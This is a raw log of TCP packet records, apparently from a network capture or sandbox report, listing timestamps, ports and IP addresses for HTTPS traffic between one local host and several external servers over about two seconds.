Oct 23, 2024 21:04:05.816265106 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:05.819535971 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:05.819586992 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:05.820019960 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:05.820099115 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:05.820328951 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:05.820336103 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:05.870008945 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:05.986936092 CEST	49742	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:05.986980915 CEST	443	49742	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:05.987073898 CEST	49742	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:05.987679005 CEST	49742	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:05.987700939 CEST	443	49742	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:06.009289980 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.013684034 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.013704062 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.015510082 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.015605927 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.016912937 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.016941071 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.017009020 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.070256948 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.070269108 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.109832048 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:06.109900951 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:06.109924078 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:06.109962940 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:06.110022068 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:06.110035896 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:06.110085964 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:06.110096931 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:06.110096931 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:06.110194921 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:06.120585918 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.149368048 CEST	443	49738	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.150015116 CEST	49738	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.150109053 CEST	443	49738	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.150458097 CEST	49738	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.150474072 CEST	443	49738	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.151340961 CEST	443	49737	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.151675940 CEST	49737	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.151755095 CEST	443	49737	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.152074099 CEST	49737	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.152091026 CEST	443	49737	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.160459042 CEST	443	49739	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.160790920 CEST	49739	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.160841942 CEST	443	49739	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.161216974 CEST	49739	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.161228895 CEST	443	49739	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.231931925 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:06.231961966 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:06.232069016 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:06.232069016 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:06.232079983 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:06.232115984 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:06.232299089 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:06.232347012 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:06.232356071 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:06.232376099 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:06.232423067 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:06.232464075 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:06.232475042 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:06.232520103 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:06.232520103 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:06.248176098 CEST	443	49740	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.249102116 CEST	49740	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.249115944 CEST	443	49740	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.249629021 CEST	49740	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.249650002 CEST	443	49740	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.284821987 CEST	443	49738	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.285401106 CEST	443	49738	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.285484076 CEST	49738	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.285696030 CEST	49738	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.285696030 CEST	49738	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.285732031 CEST	443	49738	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.285761118 CEST	443	49738	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.288254023 CEST	49744	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.288327932 CEST	443	49744	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.288410902 CEST	49744	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.288562059 CEST	49744	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.288594007 CEST	443	49744	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.288641930 CEST	443	49737	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.288806915 CEST	443	49737	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.292352915 CEST	49737	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.293652058 CEST	49737	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.293652058 CEST	49737	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.293679953 CEST	443	49737	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.293703079 CEST	443	49737	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.295577049 CEST	49745	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.295623064 CEST	443	49745	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.295701027 CEST	49745	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.295840025 CEST	49745	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.295870066 CEST	443	49745	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.299429893 CEST	443	49739	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.299619913 CEST	443	49739	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.299686909 CEST	49739	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.299818039 CEST	49739	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.299837112 CEST	443	49739	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.299860001 CEST	49739	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.299864054 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.299873114 CEST	443	49739	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.299928904 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.299948931 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.299969912 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.299994946 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.300004959 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.300019979 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.300040007 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.300057888 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.300065994 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.300065994 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.300086021 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.300106049 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.300106049 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.300462008 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.300571918 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.300579071 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.302400112 CEST	49746	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:04:06.302422047 CEST	443	49746	142.250.186.68	192.168.2.6
Oct 23, 2024 21:04:06.302495003 CEST	49746	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:04:06.303050041 CEST	49746	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:04:06.303076029 CEST	443	49746	142.250.186.68	192.168.2.6
Oct 23, 2024 21:04:06.304053068 CEST	49747	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.304074049 CEST	443	49747	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.304852962 CEST	49747	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.304975033 CEST	49747	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.304996014 CEST	443	49747	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.322577953 CEST	443	49741	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.322928905 CEST	49741	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.322961092 CEST	443	49741	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.323328972 CEST	49741	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.323333979 CEST	443	49741	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.354413986 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.393809080 CEST	443	49740	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.393975973 CEST	443	49740	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.394035101 CEST	49740	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.394140959 CEST	49740	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.394161940 CEST	443	49740	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.394171953 CEST	49740	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.394177914 CEST	443	49740	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.397638083 CEST	49748	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.397691011 CEST	443	49748	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.397751093 CEST	49748	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.397983074 CEST	49748	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.398005009 CEST	443	49748	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.418036938 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.418051958 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.418072939 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.418082952 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.418102026 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.418118954 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.418133020 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.418241024 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.460293055 CEST	443	49741	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.460464954 CEST	443	49741	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.460568905 CEST	49741	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.460750103 CEST	49741	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.460760117 CEST	443	49741	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.460771084 CEST	49741	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.460776091 CEST	443	49741	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.463355064 CEST	49749	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.463382006 CEST	443	49749	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.463521004 CEST	49749	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.463593006 CEST	49749	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:06.463598967 CEST	443	49749	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:06.535248041 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.535300970 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.535341024 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.535348892 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.535392046 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.535392046 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.652612925 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.652669907 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.652762890 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.652762890 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.652771950 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.652849913 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.770319939 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.770371914 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.770409107 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.770418882 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.770513058 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.888343096 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.888387918 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.888422012 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:06.888432026 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:06.888485909 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.005417109 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.005469084 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.005527020 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.005537987 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.005568981 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.005585909 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.072740078 CEST	443	49745	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.076801062 CEST	443	49747	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.079853058 CEST	443	49744	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.082909107 CEST	49745	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.082988024 CEST	443	49745	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.083395004 CEST	49745	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.083409071 CEST	443	49745	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.083580017 CEST	49747	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.083611965 CEST	443	49747	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.083669901 CEST	49744	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.083731890 CEST	443	49744	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.084001064 CEST	49747	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.084012032 CEST	443	49747	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.084140062 CEST	49744	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.084153891 CEST	443	49744	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.102852106 CEST	443	49742	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:07.102956057 CEST	49742	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:07.105209112 CEST	49742	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:07.105221033 CEST	443	49742	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:07.106137991 CEST	443	49742	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:07.107902050 CEST	49742	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:07.107966900 CEST	49742	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:07.107970953 CEST	443	49742	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:07.108114004 CEST	49742	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:07.109684944 CEST	49751	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:07.109710932 CEST	443	49751	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:07.109783888 CEST	49751	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:07.111696005 CEST	49751	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:07.111707926 CEST	443	49751	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:07.123450994 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.123473883 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.123538971 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.123548031 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.123574972 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.123601913 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.146970987 CEST	443	49748	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.147315025 CEST	49748	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.147353888 CEST	443	49748	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.147722006 CEST	49748	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.147727966 CEST	443	49748	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.151340961 CEST	443	49742	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:07.199178934 CEST	443	49746	142.250.186.68	192.168.2.6
Oct 23, 2024 21:04:07.199539900 CEST	49746	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:04:07.199589968 CEST	443	49746	142.250.186.68	192.168.2.6
Oct 23, 2024 21:04:07.201050043 CEST	443	49746	142.250.186.68	192.168.2.6
Oct 23, 2024 21:04:07.201121092 CEST	49746	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:04:07.201948881 CEST	49746	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:04:07.202037096 CEST	443	49746	142.250.186.68	192.168.2.6
Oct 23, 2024 21:04:07.215620041 CEST	443	49745	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.216300011 CEST	443	49745	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.216365099 CEST	49745	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.216418028 CEST	49745	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.216466904 CEST	443	49745	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.216515064 CEST	49745	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.216536999 CEST	443	49745	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.218183041 CEST	443	49749	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.218476057 CEST	49749	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.218488932 CEST	443	49749	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.218558073 CEST	443	49747	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.218847990 CEST	49752	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.218898058 CEST	443	49752	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.218930960 CEST	49749	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.218935966 CEST	443	49749	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.218971968 CEST	49752	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.219075918 CEST	49752	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.219094038 CEST	443	49752	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.219636917 CEST	443	49747	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.219688892 CEST	49747	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.219724894 CEST	49747	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.219747066 CEST	443	49747	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.219770908 CEST	49747	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.219783068 CEST	443	49747	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.220680952 CEST	443	49744	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.220769882 CEST	443	49744	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.220825911 CEST	49744	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.220891953 CEST	49744	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.220910072 CEST	443	49744	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.220921993 CEST	49744	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.220928907 CEST	443	49744	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.221733093 CEST	49753	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.221764088 CEST	443	49753	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.222096920 CEST	49753	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.222174883 CEST	49753	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.222189903 CEST	443	49753	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.223391056 CEST	49754	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.223429918 CEST	443	49754	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.223500013 CEST	49754	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.223603010 CEST	49754	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.223619938 CEST	443	49754	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.238981009 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.239043951 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.239080906 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.239104033 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.239128113 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.239145041 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.246042013 CEST	49746	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:04:07.246067047 CEST	443	49746	142.250.186.68	192.168.2.6
Oct 23, 2024 21:04:07.289138079 CEST	443	49748	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.289185047 CEST	443	49748	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.289247036 CEST	49748	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.289361954 CEST	49748	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.289381981 CEST	443	49748	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.289393902 CEST	49748	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.289398909 CEST	443	49748	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.291520119 CEST	49755	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.291537046 CEST	443	49755	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.291656017 CEST	49746	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:04:07.291682005 CEST	49755	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.292331934 CEST	49755	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.292340040 CEST	443	49755	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.298521042 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.298582077 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.298614979 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.298639059 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.298655033 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.298679113 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.353866100 CEST	443	49749	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.354171038 CEST	443	49749	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.354234934 CEST	49749	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.354260921 CEST	49749	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.354271889 CEST	443	49749	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.354283094 CEST	49749	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.354286909 CEST	443	49749	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.356293917 CEST	443	49742	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:07.356663942 CEST	49742	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:07.356678009 CEST	443	49742	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:07.356801987 CEST	49742	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:07.356801987 CEST	49742	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:07.357131004 CEST	49756	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.357160091 CEST	443	49756	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.357228994 CEST	49756	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.357337952 CEST	49756	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.357363939 CEST	443	49756	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.359364986 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.359416962 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.359469891 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.359478951 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.359518051 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.359518051 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.476962090 CEST	443	49736	199.188.200.183	192.168.2.6
